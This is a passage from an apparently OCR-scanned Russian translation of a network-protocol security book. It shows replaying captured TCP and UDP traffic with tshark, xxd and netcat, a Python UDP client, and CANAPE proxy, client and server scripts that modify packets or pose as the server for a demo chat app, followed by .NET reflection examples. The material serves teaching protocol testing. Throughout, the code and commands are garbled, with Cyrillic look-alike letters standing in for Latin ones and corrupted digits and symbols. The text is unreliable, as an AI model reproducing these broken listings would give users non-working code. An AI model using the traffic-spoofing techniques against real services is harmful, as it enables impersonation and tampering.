показывает, что у нас есть соединение, идущее с адреса 192.168.56.1, 
порт 26082, на адрес 192.168.56.100, порт 12345. Клиент по адресу 
192.168.56.1 получил 17 кадров, или 1020 байт данных Ө, а сервер по- 
лучил 28 кадров, или 1733 байта данных ®. 

Теперь мы используем ТѕһагК для экспорта только необработанных 
байтов для одного из направлений ТСР-диалога: 


$ Еѕһагк -г сарфиге.рсар -Т Ғіе105 -е Чдафа 'Еср.ѕгсрог==26082' > оџёБоџпӣ. хе 


Эта команда считывает перехват пакета и выводит данные из каж- 
дого пакета; она не фильтрует такие элементы, как повторяющиеся 
или неупорядоченные пакеты. Здесь следует отметить несколько де- 
талей, касающихся данной команды. Во-первых, ее нужно исполь- 
зовать только для перехватов из надежной сети, например через 10- 
са оз или локальное сетевое соединение, иначе вы можете увидеть 
ошибочные пакеты в выходных данных. Во-вторых, поле да{а доступ- 
но лишь в том случае, если протокол не декодируется диссектором. 
В случае с ТСР-перехватом это не проблема, но, когда мы перейдем 
к ОРр, нам нужно будет отключить диссекторы, чтобы эта команда 
работала правильно. 

Напомню, что в пункте Ө в листинге 8.1 клиентский сеанс исполь- 
зовал порт 26082. Фильтр отображения Ёср.ѕгсрогі==26082 удаляет 
весь трафик из вывода, у которого нет исходного порта ТСР 26082, 
что ограничивает вывод трафиком от клиента к серверу. В результате 
вы получаете данные в шестнадцатеричном формате, аналогичные 
листингу 8.2. 


Листинг 8.2. Пример вывода необработанного трафика 


$ са оџіроипӣі.ЁхЁ 
42494е58 

00000004 

00000347 

00 
057573657231044#4е595800 
- -обрезано- - 
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Затем мы преобразуем этот шестнадцатеричный вывод в не- 
обработанный двоичный файл. Самый простой способ сделать 
это - использовать утилиту хха, которая по умолчанию установлена 
в большинстве Опіх-подобных систем. Выполните команду хх4, как 
показано в листинге 8.3, чтобы преобразовать шестнадцатеричный 
дамп в двоичный файл. (Параметр -р преобразует необработанные 
шестнадцатеричные дампы, а не формат ххд нумерованного шест- 
надцатеричного дампа по умолчанию.) 


Листинг 8.3. Преобразование шестнадцатеричного дампа в двоичные 
данные 


$ хха -р -г оиёБоипӣ. х > оиБоипд.БАп 

$ хха оцЕБоипд. Біп 

00000000: 4249 4е58 0000 0009 0000 0347 0005 7573 ВІМХ....... 0..05 
00000010: 6572 3104 4#4е 5958 0000 0000 1с00 0009 ег1.ОМ№ҮХ........ 
00000020: 7603 0575 7365 7231 1462 6164 6765 7220 {..изег1.Баддег 
- -обрезано- - 


Наконец, мы можем использовать Ме{са{ с файлом двоичных дан- 
ных. Выполните следующую команду пе*са{ для отправки клиент- 
ского трафика из файла оиѓроипа.Біп серверу на НОЅТМАМЕ порт 12345. 
Любой трафик, отправленный с сервера обратно клиенту, будет пере- 
хвачен в тбоипа.бт. 


$ пефсае НОЅТМАМЕ 12345 <оџБоипі.Біп> іпроџпа. Біп 


Можно отредактировать файл оиѓроипӣ.ріп с помощью шестнад- 
цатеричного редактора, чтобы изменить воспроизводимые данные 
сеанса. Вы также можете использовать файл іпроипа.ріп (или извлечь 
его из РСАР), чтобы отправить трафик обратно клиенту, притворяясь 
сервером. Используйте для этого следующую команду: 


$ песа -1 12345 < іпБоџпӣ.Біп > пем_оџёБоипӣ.Біп 


Использование Ру поп для повторной отправки 
перехваченного ЦОР-трафика 


Одно из ограничений использования Ме{са{ заключается в том, что, 
хотя вы и можете с легкостью воспроизвести потоковый протокол, та- 
кой как ТСР, воспроизвести ОШР-трафик нетак просто. Причина состо- 
ит в том, что трафик должен поддерживать границы пакетов, в чем вы 
убедились, когда мы пытались проанализировать протокол чат-при- 
ложения в главе 5. Однако М№Меїсаї просто попытается отправить как 
можно больше данных при отправке данных из файла или конвейера. 

Вместо этого мы напишем очень простой сценарий на Руіћоп, ко- 
торый будет воспроизводить ООР-пакеты для сервера и перехваты- 
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иар сііепіру 


вать все результаты. Во-первых, нам нужно перехватить ОррР-трафик 
протокола чата с помощью параметра командной строки СһћаѓСіепі 
- -џйр. Затем мы воспользуемся Тѕһагк для сохранения пакетов в файл 
иар сарішге.рсар, как показано здесь: 


ҰѕһагК -1 ТМТМАМЕ -м иар сарёџге.рсар идр рогі 12345 


Потом мы снова преобразуем все пакеты «клиент-сервер» в шест- 
надцатеричные строки, чтобы можно было обрабатывать их в клиен- 
те Рућоп: 


Еѕһагк -Т Ғіе145 -е дафа -г џйр сарёџге.рсар - -йіѕаБ1е-ргоёосо1 9у5р/ 
"идр.9${рог{==12345" > џір оџбоџпа. хі 


Одно из отличий при извлечении данных из перехваченного ОРрР- 
трафика состоит в том, что ТѕһагКк автоматически пытается парсить 
трафик как протокол СУЗР. Это приводит к тому, что поле йаќѓа ста- 
новится недоступным. Следовательно, нужно отключить диссектор 
СУЅР, чтобы получить правильный вывод. С помощью шестнадца- 
теричного дампа пакетов мы наконец можем создать очень простой 
сценарий на Руфоп для отправки Орр-пакетов и перехвата ответа. 
Скопируйте листинг 8.4 в файл идр сііепі.ру. 


Листинг 8.4. Простой ИБР-клиент для отправки перехвата сетевого 
трафика 


1трогЕ 5у5 
ітрог Біпаѕсіі 
Тгом ѕоскеё ітрог ѕоскеЁ, АР_ТМЕТ, 50СК ОСААМ 


1Ғ 1еп(5уѕ.агду) < 3: 
ргіп("ЅресіҒу дела \юоп һћоѕЁ апа рогі") 
ехії(1) 


# Создаем ЦОР-сокет с тайм-аутом приема 1 сек 
$осК = зоске*(АЕ_ТМЕТ, 5ОСК_ОСВАМ) 
ѕосКк.ѕеіёітеоиї(1) 

аййг = (5у5.агду[1], іпё(5у5.агду[2])) 


Ғог Але іп 5у5.51діп: 
тѕ9 = Біпаѕсіі.а2Ь һех(14пе. ѕЁгір()) 
ѕоск.ѕепаёо(тѕ9, айг) 


їгу: 
даа, зегуег = ѕосК. гесуЁгот(1024) 
ргіпё(Біпаѕсіі.Б2а һех(даёа)) 
ехсерї: 
раѕѕ 
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сһаріег8 
_саршге 
_ргоху.сѕх 


Запустите сценарий Руіһоп, используя следующую командную 
строку (она должна работать в Руфоп 2 и 3), заменив НОЅТЛАМЕ на со- 
ответствующий хост: 


руєһоп идр_с1\епе.ру АОЅТЛАМЕ 12345 < идр_оцБоипд. ёхЁ 


Сервер должен получать пакеты, а все полученные пакеты в клиен- 
те должны выводиться в консоль в виде двоичных строк. 


Изменяем назначение нашего прокси 


В главе 5 мы реализовали простой прокси-сервер для ЅирегЕипкуСһаї, 
который перехватывает трафик, и реализовали базовый парсинг тра- 
фика. Можно использовать результаты этого анализа для реализации 
сетевого клиента и сетевого сервера для воспроизведения и изме- 
нения трафика, что позволит нам повторно использовать большую 
часть уже проделанной работы по разработке парсеров и связанного 
кода, вместо того чтобы переписывать его для другой платформы или 
языка. 


Перехват трафика 


Прежде чем мы сможем реализовать клиент или сервер, нам нужно 
перехватить немного трафика. Мы будем использовать сценарий 
рагѕег.сѕх, который разработали в главе 5, и код из листинга 8.5, чтобы 
создать прокси-сервер для перехвата трафика из соединения. 


Листинг 8.5. Прокси-сервер для перехвата трафика чата в файл 


#1оаа "рагѕег.сѕх" 
иѕіпд фас 5уѕїет. Сопѕо1е; 
иѕіпд {ас САМАРЕ. СЇ. Сопѕо1еу+і15; 


уаг ёетр1аїе = пем ҒіхейРгохуТетр1аёе(); 

// Локальный порт 4444, адрес назначения 127.0.0.1:12345 
{етр\афе.1оса\Рог* = 4444; 

{етр\афе.Но${ = "127.0.0.1"; 

етр1аёе.Рогї = 12345; 

етр1аёе.Адігауег<Рагѕег>(); 


уаг Ѕегуісе = ёетр1аїе.Сгеаёе(); 
ѕегуісе.ЅЁагї(); 

Мгіёеііпе("Сгеаёеа {0}", ѕегуісе); 
Мгіеііпе("Ргеѕѕ Епфег Ёо ехі+..."); 
Веааііпе(); 

ѕегуісе.51ор(); 


Игіёеііпе("Игіё\іпо ОиёБоцпа РасКефз Ёо раскеёѕ.Біп"); 


Ө сегүісе.Раскеїѕ .МгіёеТоҒі1е("раскеёѕ.Біп", "Ои&"); 
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сһаріег8 
_сЇіепі. сѕХ 


Здесь мы устанавливаем ТСР-слушатель на порту 4444, перена- 
правляем новые соединения на порт 127.0.0.1 12545 и перехваты- 
ваем трафик. Обратите внимание, что мы по-прежнему добавляем 
код парсинга к прокси ®, чтобы гарантировать, что перехваченные 
данные содержат часть данных пакета, а не информацию о длине или 
контрольной сумме. Также обратите внимание, что мы записываем 
пакеты в файл, который будет включать все исходящие и входящие 
пакеты. Ө Нам нужно будет отфильтровать определенное направле- 
ние трафика позже, чтобы отправить перехваченный трафик по сети. 

Запустите одно клиентское соединение через этот прокси и по- 
упражняйтесь с клиентом. Затем закройте соединение в клиенте 
и нажмите Еп{ег в консоли, чтобы выйти из прокси и записать дан- 
ные пакета в файл раскеѓѕ.ріп. (Сохраните копию этого файла; нам она 
понадобится для нашего клиента и сервера.) 


Реализация простого сетевого клиента 


Далее мы будем использовать перехваченный трафик для реализации 
простого сетевого клиента. Для этого воспользуемся классом Мес - 
епЕТетр1аќе, чтобы установить новое соединение с сервером и предо- 
ставить интерфейс для чтения и записи сетевых пакетов. Скопируйте 
листинг 8.6 в файл сһаріѓег8 сПети. сх. 


Листинг 8.6. Простой клиент для подмены трафика ЅирегРипкуСһаї 


#1.оаа "рагѕег.сѕх" 


иѕіпд Сас 5уѕїет. Сопѕо1е; 
45119 ѕёаёіс САМАРЕ. СЇ. Сопѕо1еу+і1; 


Ө ЇҒ (агдѕ.Гепдёһ < 1) { 


Игібеііпе("Р1еаѕе ЅресіҒу а Саріџге РіЛе"); 
гефигп; 


} 


Ө уаг ептр1аїе = пем М№еЁС1іепТетр1а+е(); 


етр1аёе.Рогі = 12345; 
етр1аёе.Ноѕ = "127.0.0.1"; 
етр1аёе.Аййгауег<Рагѕег>(); 


Ө Гетр1аїе.Іпіїіа10аёа = пем Буёе[] { 0х42, 0х49, 0х4Е, 0х58 }; 
Ө уаг раскеіѕ = ГодРаскеЁСо1Лесііоп.ВеааЕготЕілЛе(агдѕ[0]); 


© иѕіпо(маг адарфег = Ёетр1аїе.Соппесё()) { 


Игібеііпе( "Соппесёей"); 
// Пишем пакеты в адаптер 
Ө Ғогеасһ(уаг раскеї іп раскеёѕ.беЕРаскеєѕҒогТад("Оиї")) { 
айарќёег.Мгіёе(раскеё.Егате); 
} 


// Устанавливаем тайм-аут 1000 мс при чтении, чтобы мы отключились 
айар+ег.АеайТітеоџиї = 1000; 
Ө ПБа{аЁРгаме Ргате = айарёег.Веаа(); 
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мһіЛе(Ғгаме != п 1.) { 
МгієеРаскеї( гате); 
{гате = айарќег.Веаа(); 


Одно из нововведений в этом коде состоит в том, что каждый сце- 
нарий получает список аргументов командной строки в переменной 
аг95 ®. Используя аргументы командной строки, можно указать раз- 
ные файлы перехвата пакетов без изменения сценария. 

М№еЕС1лепТетр1аѓе настроен Ө аналогично нашему прокси, выпол- 
няя подключения к 127.0.0.1:12345, но с некоторыми отличиями для 
поддержки клиента. Например, поскольку мы анализируем началь- 
ный сетевой трафик внутри класса Рагѕег, наш файл перехвата не 
содержит начального магического значения, которое клиент отправ- 
ляет на сервер. Мы добавляем в шаблон массив Іпіёіа\раќа с магиче- 
скими байтами Ө, чтобы правильно установить соединение. 

Затем считываем пакеты из файла ® в коллекцию пакетов. Ког- 
да все настроено, мы вызываем метод Соппес*(), чтобы установить 
новое соединение с сервером. Метод Соппес*() возвращает адаптер 
данных, который позволяет нам читать и записывать проанализиро- 
ванные пакеты в соединении. Любой прочитанный нами пакет так- 
же пройдет через класс Рагѕег и удалит поля длины и контрольной 
суммы. 

После этого мы фильтруем загруженные пакеты только на исходя- 
щие и записываем их в сетевое подключение Ө. Класс Рагѕег снова 
гарантирует, что к любым пакетам данных, которые мы пишем, при- 
креплены соответствующие заголовки перед отправкой на сервер. 
Наконец, мы считываем пакеты и выводим их на консоль до тех пор, 
пока соединение не будет закрыто или не истечет время чтения Ө. 

Когда вы запускаете этот сценарий, передавая путь к ранее пере- 
хваченным пакетам, он должен подключиться к серверу и воспроиз- 
вести ваш сеанс. Например, любое сообщение, отправленное в исход- 
ном перехвате, должно быть отправлено повторно. 

Конечно, простое воспроизведение исходного трафика не обяза- 
тельно так полезно. Было бы лучше изменить трафик для тестиро- 
вания функций протокола, и теперь, когда у нас есть очень простой 
клиент, мы можем изменить трафик, добавив код в цикл отправки. 
Можно было бы просто изменить имя пользователя во всех пакетах на 
что-нибудь другое, например вместо изег1 написать Бођѕтіїћ, заме- 
нив внутренний код цикла отправки (строка с номером Ө в листин- 
ге 8.6) на код, показанный в листинге 8.7. 


Листинг 8.7. Простой редактор пакетов для клиента 


ѕёгіпд Чафа = расКе{.Егате.Тобафа5{г1пд(); 
Фафа = дафа.Вер\асе("\и0005и5ег1", "\и0008Бобзт\ ЕВ"); 
адарег.Иг\ Ее (дафа.ТобафаЁгаме()); 
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сһаё зегует.с$х 


Чтобы отредактировать имя пользователя, мы сначала конвертиру- 
ем пакет в формат, с которым нам легко работать. В данном случае мы 
преобразуем его в двоичную строку, используя метод ТораёаЅ&гіпо() 
Ө, что приводит к созданию строки С#, в которой каждый байт пре- 
образуется непосредственно в одно и то же значение символа. По- 
скольку в строках ЅирегЕипкуСћаї в качестве префикса используется 
их длина, мы используем управляющую последовательность \иХХХХ 
для замены байта 5 на 8 для новой длины имени пользователя. Таким 
же образом можно заменить любой непечатаемый двоичный символ, 
используя управляющую последовательность для байтовых значений. 

При повторном запуске клиента все экземпляры џѕег1 должны 
быть заменены на БоБѕті+һ (Конечно, на этом этапе можно выполнить 
гораздо более сложную модификацию пакета, но я предоставлю это 
вам, чтобы вы поэкспериментировали.) 


Реализация простого сервера 


Мы реализовали простой клиент, но проблемы с безопасностью могут 
возникать как в клиентских, так и в серверных приложениях. Поэтому 
теперь мы реализуем собственный сервер, аналогично тому, что де- 
лали для клиента. 

Сначала реализуем небольшой класс, который будет действовать 
как код сервера. Этот класс будет создаваться для каждого нового под- 
ключения. Метод Вип() в классе получит объект раќа Адар*ег, по сути 
такой же, как и тот, что мы использовали для клиента. Скопируйте 
листинг 8.8 в файл сһаё ѕегуег.сѕх. 


Листинг 8.8. Простой серверный класс для протокола чата 


иѕіпд САМАРЕ .М№ойеѕ; 
иѕіпд САМАРЕ .РаїаАйарёегѕ; 
иѕіпд САМАРЕ. М№еї.Тетр1а+еѕ; 


© с1аѕ5 СһаЁЅегуегСопҒід { 


руБАс ГодРаске{СоДес оп Раскеїѕ { деф; ргімаїе ѕеї; } 
руБЛАс СһаёЅегуегСопҒід() { 
РаскеЁѕ = пем ГодРаскеЁСо1Лесїіоп(); 


} 


Ө с1аѕ5 СһаїЅегуег : ВаѕераёаЕпіроіпё<СһаіЅегуегСопҒід> { 


руБЛАс оуеггійе моі Аип(ІрааАйарќег айарёег, СһаЅегуегСопҒід сопҒід) { 
Сопѕо1е.Игіёеііпе( "Мем Соппес оп"); 
Ө раїаЕгате Ёгате = айаріег.Аеаа(); 
// Ждем, пока клиент пришлет нам первый пакет 
1Ғ (Ргате != пи11) { 
// Запись всех пакетов в клиент 
Ө ГогеасН(\аг раскеї іп сопҒід.Раскеїѕ) { 
айарќег .Игіёе(раскеё.Егате); 
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сһаріег8 © 
_ехатріе 
_ѕегуег.сѕХ 


{гате = айарќег.Веаа(); 


Код в пункте Ө - это класс конфигурации, который просто содержит 
коллекцию журналов пакетов. Можно было бы упростить код, просто 
указав ГодРаскеСо1Лесііоп в качестве типа конфигурации, но, посту- 
пая так с отдельным классом, вы демонстрируете, как можно было бы 
проще добавить собственную конфигурацию. 

Код в пункте Ө определяет класс сервера. Он содержит функцию 
Вип(), которая принимает адаптер данных и конфигурацию сервера 
и позволяет нам читать и вести запись в адаптер данных после ожи- 
дания, пока клиент отправит нам пакет Ө. Как только мы получаем 
пакет, то немедленно отправляем клиенту весь наш список пакетов Ө. 

Обратите внимание, что мы не фильтруем пакеты Ө и не указыва- 
ем, что используем какой-либо конкретный парсер для сетевого тра- 
фика. Фактически весь этот класс полностью независим от протокола 
ЅирегЕипкКкуСћһаї. Мы настраиваем большую часть поведения сетевого 
сервера внутри шаблона, как показано в листинге 8.9. 


Листинг 8.9. Простой пример СһаіЅегуег 


#1оаа "сһаї ѕегуег.сѕх" 
#1оаа "рагѕег.сѕх" 
иѕіпд {ас Ѕуѕіет. Сопѕо1е; 


1Ғ (агдѕ.Іепдїһ < 1) { 
Игібеііпе("Р1еаѕе ЅресіҒу а Саріџге Ее"); 
гефигп; 
} 
уаг Ёетр1аёе = пем М№еЁЅегуегТетр1аёе<СһаїЅегуег, СһаЁЅегуегСопҒід>(); 
етр1аёе.оса1Рогї = 12345; 
Еетр1аёе.Адігауег<Рагѕег>(); 
уаг раске{$ = ГодРаскеСо1Лесёіоп.ВеайЕгомҒіЛе(агдѕ[0]) 
.СеЕРаскеіѕЕогТад("Іп"); 
Хетр1аќе. ЅегуегҒасёогуСопҒід.Раскеїѕ .АйіАапде(раскеїѕ); 


уаг ѕегуісе = Ёетр1аёе.Сгеаёе(); 
ѕегуісе.ЅЁагї(); 

Мгіёеііпе("Сгеаёеа {0}", ѕегуісе); 
Мгібеііпе("Ргеѕѕ Епфег Ёо ехі+..."); 
Веааііпе(); 

ѕегуісе.5#ор(); 


Листинг 8.9 может показаться вам знакомым, потому что он очень 
похож на сценарий, который мы использовали для О№-сервера 
в листинге 2.11. Он начинается с загрузки в сһаѓ ѕегуег.сѕх сценария 
для определения нашего класса СһаїЅегуег ө. Далее мы создаем шаб- 
лон сервера Ө, указав тип сервера и конфигурацию. Затем загружаем 
пакеты из файла, переданного в командной строке, фильтруя для пе- 
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рехвата только входящие пакеты и добавляя их в коллекцию пакетов 
в конфигурации Ө. Наконец, мы создаем сервис и запускаем его Ө. 
Теперь сервер ожидает новые подключения на ТСР-порту 12545. 

Опробуем сервер с приложением СБа(СПепЕ; перехваченный тра- 
фик должен быть отправлен обратно клиенту. После того как все дан- 
ные будут отправлены клиенту, сервер автоматически закроет соеди- 
нение. Пока вы видите сообщение, которое мы повторно отправили, 
не беспокойтесь, если увидите ошибку в выводе СһаіСіепі. Конечно, 
вы можете добавить для сервера некоторые функции, например из- 
менение трафика или создание новых пакетов. 


Повторное использование существующего 
исполняемого кода 


В этом разделе мы рассмотрим различные способы повторного ис- 
пользования существующего двоичного кода для уменьшения объема 
работы, связанной с реализацией протокола. После того как вы опре- 
делили детали протокола путем обратной разработки исполняемого 
файла (возможно, воспользовавшись советами из главы 6), вы быстро 
поймете, что если сможете повторно использовать исполняемый код, 
то вам не придется реализовывать протокол. 

В идеале у вас должен быть исходный код, необходимый для реали- 
зации определенного протокола, потому что это либо открытый ис- 
ходный код, либо реализация на языке сценариев, таком как Руѓћоп. 
Если у вас есть исходный код, вы сможете перекомпилировать или 
напрямую повторно использовать код в собственном приложении. 
Однако когда код скомпилирован в двоичный исполняемый файл, 
ваши возможности более ограничены. Сейчас мы рассмотрим каж- 
дый вариант. 

Платформы языков программирования с компиляцией в управля- 
емый код, таких как .МЕТ и Јауа, на сегодняшний день являются плат- 
формами, где проще всего повторно использовать существующий 
исполняемый код, потому что они имеют четко определенную струк- 
туру метаданных в скомпилированном коде, которая позволяет ком- 
пилировать новое приложение с использованием внутренних классов 
и методов. Напротив, в таких платформах, как С или С++, компилятор 
не дает никаких гарантий, что любой компонент внутри двоичного 
исполняемого файла можно легко вызвать извне. 

Правильно определенные метаданные также поддерживают реф- 
лексию, т.е. способность приложения поддерживать позднее связыва- 
ние исполняемого кода для проверки данных во время выполнения 
и для выполнения произвольных методов. Хотя можно легко исполь- 
зовать декомпиляцию при работе со множеством управляемых язы- 
ков, это не всегда удобно, особенно при работе с обфусцированными 
приложениями. Это связано с тем, что обфускация может помешать 
надежной декомпиляции в пригодный для использования исходный 
КОД. 
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Конечно, части исполняемого кода, которые вам нужно будет вы- 
полнить, будут зависеть от анализируемого приложения. В следую- 
щих разделах я подробно расскажу о паттернах программирования 
и методах, которые можно использовать для вызова соответствую- 
щих частей кода в приложениях .МЕТ и ]ауа, платформах, которые вы, 
скорее всего, встретите. 


Повторное использование кода в приложениях .МЕТ 


Как обсуждалось в главе 6, приложения .МЕТ состоят из одной или 
нескольких сборок, которые могут быть либо исполняемым файлом 
(с расширением .ехе), либо библиотекой (.4П). Когда дело доходит до 
повторного использования существующего кода, форма сборки не 
имеет значения, потому что мы можем вызывать методы в обоих слу- 
чаях одинаково. 

Можем ли мы просто скомпилировать наш код с кодом сборки, бу- 
дет зависеть от видимости типов, которые мы пытаемся использо- 
вать. Платформа .МЕТ поддерживает различные области видимости 
для типов и членов. Тремя наиболее важными формами видимости 
являются открытая, закрытая и внутренняя. Открытые типы или чле- 
ны доступны всем вызывающим объектам за пределами сборки. За- 
крытые типы или члены ограничены областью видимости текущим 
типом (например, у вас может быть закрытый класс внутри откры- 
того класса). Внутренняя область видимости ограничивает типы или 
члены только вызывающими объектами внутри одной сборки, где 
они действуют так, как если бы были открытыми (хотя внешний вы- 
зов нельзя скомпилировать, используя их). Например, рассмотрим 
код С# из листинга 8.10. 


Листинг 8.10. Примеры областей видимости „МЕТ 


© риБ1іс с1аѕ5 РиБАсСТа$5 

{ 
ргімаёе с1аѕ5 РгімаїеС1аѕ5 
{ 

Ө риБ1іс РгімаёеРиБ1ісМеЁћоа() {} 
} 
іпёегпа1 с1аѕ5 Іпёегпа1С1а55 
{ 

Ө руБЦс уоій Іпёегпа1РиБ1ісМећоа() {} 
} 
ргімаіе уоіа РгімаёеМеЁћоа() {} 
іпёегпа1 моіа Іпёегпа1Меёћоа() {} 

Ө риБ1іс моіа РиБ11сМеЁћоа() {} 


} 


В листинге 8.10 определены всего три класса: открытый, закрытый 
и внутренний. Когда вы выполняете компиляцию, используя сборку, 
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содержащую эти типы, только РиБ11сС1аѕѕ может быть доступен на- 
прямую наряду с методом РиБ11сМе&ћоа() (ө и Ө); попытка доступа 
клюбому другомутипу или члену вызовет ошибку в компиляторе. Но 
обратите внимание, здесь определены открытые члены - Ө и ®. Раз- 
ве нельзя получить к ним доступ? К сожалению, нет, потому что они 
содержатся внутри области видимости РгАуа*еСТа$$ или Тп%егпа\ - 
С1аѕѕ. Область видимости класса имеет приоритет над видимостью 
членов. 

После того как вы определили, являются ли нужные вам типы 
и члены открытыми, можно добавить ссылку на сборку при компиля- 
ции. Если вы используете интегрированную среду разработки, то вам 
следует найти метод, позволяющий добавить эту ссылку в ваш проект. 
Но если вы выполняете компиляцию из командной строки с исполь- 
зованием Мопо или .МЕТ-фреймворка для Міпӣомуѕ, то необходимо 
указать параметр -ге{егепсе : <ҒІ/ ЕРАТН> для соответствующего ком- 
пилятора С #, С5С или МС. 


Использование рефлексии (ВеВесНоп АРІ) 


Если все типы и члены не являются открытыми, вам потребуется 
использовать рефлексию. Большинство из них можно найти в про- 
странстве имен 5уз{ет.Ке 1ес{1.оп, за исключением класса Туре, кото- 
рый находится в пространстве имен Ѕуѕїеп. В табл. 8.1 перечислены 
наиболее важные классы с точки зрения функциональности реф- 
лексии. 


Таблица 8.1. Типы рефлексии МЕТ 


Название класса Описание 

Ѕуѕіет.Туре Представляет один тип в сборке и позволяет 
получить доступ к информации о своих членах 

Ѕуѕёет. Ве есёіоп.АѕѕетЬ1у Обеспечивает доступ к загрузке и изучению 
сборки, а также перечисление доступных типов 

Ѕуѕёет.Веесїііоп.МеёһойїІпҒо Представляет метод в типе 

Ѕуѕёет.ВеҒ1есііоп. Еле19ТпРо Представляет поле в типе 

Ѕуѕёет.ВеҒесііоп.РгорегёуІпҒо Представляет свойство в типе 


Ѕуѕёет.Ве#есііоп. СопѕёгисёогІпҒо Представляет конструктор класса 


Загрузка сборки 


Прежде чем вы сможете что-либо делать с типами и членами, необ- 
ходимо загрузить сборку с помощью метода Гоай() или ГоайЕгоп() 
класса Аззет Лу. Метод Іоай() принимает имя сборки, которое являет- 
ся идентификатором сборки, предполагающим, что файл сборки на- 
ходится в том же месте, что и вызывающее приложение. Метод Іоай- 
Егот() принимает путь к файлу сборки. 

Для простоты мы возьмем метод [оадЕгом(), который можно ис- 
пользовать в большинстве случаев. В листинге 8.11 показан простой 
пример того, как загрузить сборку из файла и извлечь тип по имени. 
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Листинг 8.11. Простой пример загрузки сборки 


Аззетб1у азм = АззетбТу .1оадЕгом( @"с: \раћ\о\аѕѕетЬ1у. ехе"); 
Туре фуре = азт.бе{Туре( "СһаЁРгодгат. Соппес оп"); 


Имя типа всегда является полностью определенным именем, вклю- 
чая его пространство имен. Например, в листинге 8.11 имя типа, к ко- 
торому осуществляется доступ, – Соппес оп внутри пространства 
имен Сһа+Ргодгап. Каждая часть имени типа отделена точками. 

Как получить доступ к классам, объявленным внутри других клас- 
сов, например показанным в листинге 8.10? В С# для этого нужно ука- 
зать имена родительского и дочернего классов, разделив их точками. 
Фреймворк способен различать СһаЁРгодгат. Соппес{\оп, где нам ну- 
жен класс Соппес1оп в пространстве имен СһаЁРгодгап, и дочерний 
класс Соппес Топ внутри класса СһаЁРгодгат с помощью символа знака 
плюса (+): СВаРгодгам+Соппес оп представляет связь родительского 
и дочернего классов. 

В листинге 8.12 показан простой пример того, как можно было бы 
создать экземпляр внутреннего класса и вызвать методы. Предполо- 
жим, что класс уже скомпилирован в собственную сборку. 


Листинг 8.12. Простой пример класса С# 


іпіегпа1 с1аѕѕ Соппес оп 


{ 


іпёегпа1 Соппес\оп() {} 


руБЛАс моіа Соппес*(${г4пд һоѕЁпапе) 


{ 
Соппес* (Ро${паме, 12345); 


} 


ргімаёе уоіа Соппес(ѕёгіпо һоѕёпате, іп рогі) 


{ 


// Реализация... 


} 


руБЛАс уоіа Ѕепа(Буќе[] раскеї) 
{ 


// Реализация... 


} 


риБ1іс уоіа Ѕепа(ѕЕгіпд раскеї) 
{ 


// Реализация... 


} 


риБ1іс Буёе[] Весеіме() 
{ 


// Реализация... 
} 
Е 
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Первый шаг, который нужно сделать, – это создать экземпляр этого 
класса Соппес+іоп. Мы могли бы сделать это, вызвав беСопігисёог для 
типа и вызвав его вручную, но иногда есть более простой способ. Один 
из них - использовать встроенный класс Ѕуѕіет.АсЕімаїог для обра- 
ботки создания экземпляров типов для нас, по крайней мере в очень 
простых сценариях. В таком сценарии мы вызываем метод Сгеаїеї1п- 
<фапсе(), который принимает экземпляр типа для создания и логиче- 
ское значение, указывающее на то, является ли конструктор открытым. 
Поскольку он не является открытым (а внутренним), нам нужно пере- 
дать значение {гие, чтобы активатор нашел подходящий конструктор. 

В листинге 8.13 показано, как создать новый экземпляр при усло- 
вии использования закрытого конструктора без параметров. 


Листинг 8.13. Создание нового экземпляра объекта Соппесііоп 


Туре уре = аѕт. беТуре( "СһаЕРгодгат. Соппесіоп"); 
објес сопп = АсЁімаїог.СгеаёеІпѕёапсе(&уре, гие); 


На данном этапе мы должны вызвать открытый метод Соппесї(). 
Среди возможных методов класса Туре вы найдете метод беЁМеёћоа(), 
который просто берет имя метода для поиска и возвращает экземпляр 
типа МеводТпфо. Если метод нельзя найти, возвращается пи. В лис- 
тинге 8.14 показано, как выполнить метод, вызвав метод Іпуоке(), 
передав экземпляр объекта для выполнения и параметры, которые 
нужно передать методу. 


Листинг 8.14. Выполнение метода для объекта Соппесіоп 


Ме+һодІпҒо соппесЁ_теїһой = ёуре. беЁМеһод("Соппесі"); 
соппесЁ_тећой. Іпуоке(сопп, пем оБјесЁ[] { "һоѕї.Байдегѕ.сот" }); 


Самая простая форма метода беЁМе+ћой( ) принимает в качестве па- 
раметра имя метода, который нужно найти, но будет искать только 
открытые методы. Если вы хотите вызвать закрытый метод Соппесї(), 
чтобы иметь возможность указать произвольный ТСР-порт, исполь- 
зуйте одну из перегрузок беЁМеёћой(). Эти перегрузки принимают 
значение перечисления ВіпаіпоЕ1адѕ, представляющее собой набор 
флагов, которые можно передать функциям рефлексии, чтобы опре- 
делить, какую информацию вы хотите искать. В табл. 8.2 показаны 
некоторые важные флаги. 


Таблица 8.2. Важные флаги рефлексии 


Имя флага 


Описание 


ВіпаіпоЕ1адѕ.РоБ1іс Ищет открытые члены 
ВіпаіпоЕ1адѕ.МопРоБ11с Ищет закрытые члены 
ВіпаіпоЕ1адѕ.Іпѕёапсе Ищет члены, которые можно использовать только в экземпляре класса 


ВіпаіпоЕ1адѕ. фас Ищет члены, к которым можно получить статический доступ без экземпляра 
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Чтобы получить МеёћоаїІпЁо для закрытого метода, можно исполь- 
зовать перегрузку беМе+ћоЯ(), как показано в листинге 8.15, который 
принимает имя и флаги привязки. Нужно будет указать во флагах № п- 
РиБ1с и Іпѕапсе, потому что нам нужен метод, который не является 
открытым и который можно вызывать для экземпляров типа. 


Листинг 8.15. Вызов закрытого метода Соппесї() 


Мево4ТпРо соппесЁ_тећой = фуре. беМеһод("Соппесі", 
ВіпаіпоЕ1адѕ.М№опРиБ1іс | ВіпаіпоЕ1адѕ. Тп${апсе); 
соппесЁ_теЁћой. Іпуоке(сопп, пем оБјесЁ[] { "һоѕї.Байдегѕ.сот", 9999 }); 


Пока все идет нормально. Теперь нужно вызвать метод 5епд(). 
Поскольку он является открытым, мы должны иметь возможность 
вызвать базовый метод бе{Ме{Но9(). Но вызов базового метода воз- 
вращает исключение, показанное в листинге 8.16, указывающее на 
неоднозначное совпадение. Что пошло не так? 


Листинг 8.16. Исключение для метода 5епа() 


буфет. Ве есііоп.АтбідиоиѕМаЁсһЕхсеріоп: АтБідиоиѕ таєсһ Ғоџпа. 
аё 5Ѕуѕёет.АипіітеТуре. СеЕМеёћодїІтр1(...) 
аё буз{ет.Туре.бе{Ме{Ко4 (5%г1пд папе) 
ає Ргодгат.Маіп(5гіпо[] агд$) 


Обратите внимание, что в листинге 8.12 у класса Соппесііоп есть 
два метода Ѕепі(): один принимает массив байтов, а другой - стро- 
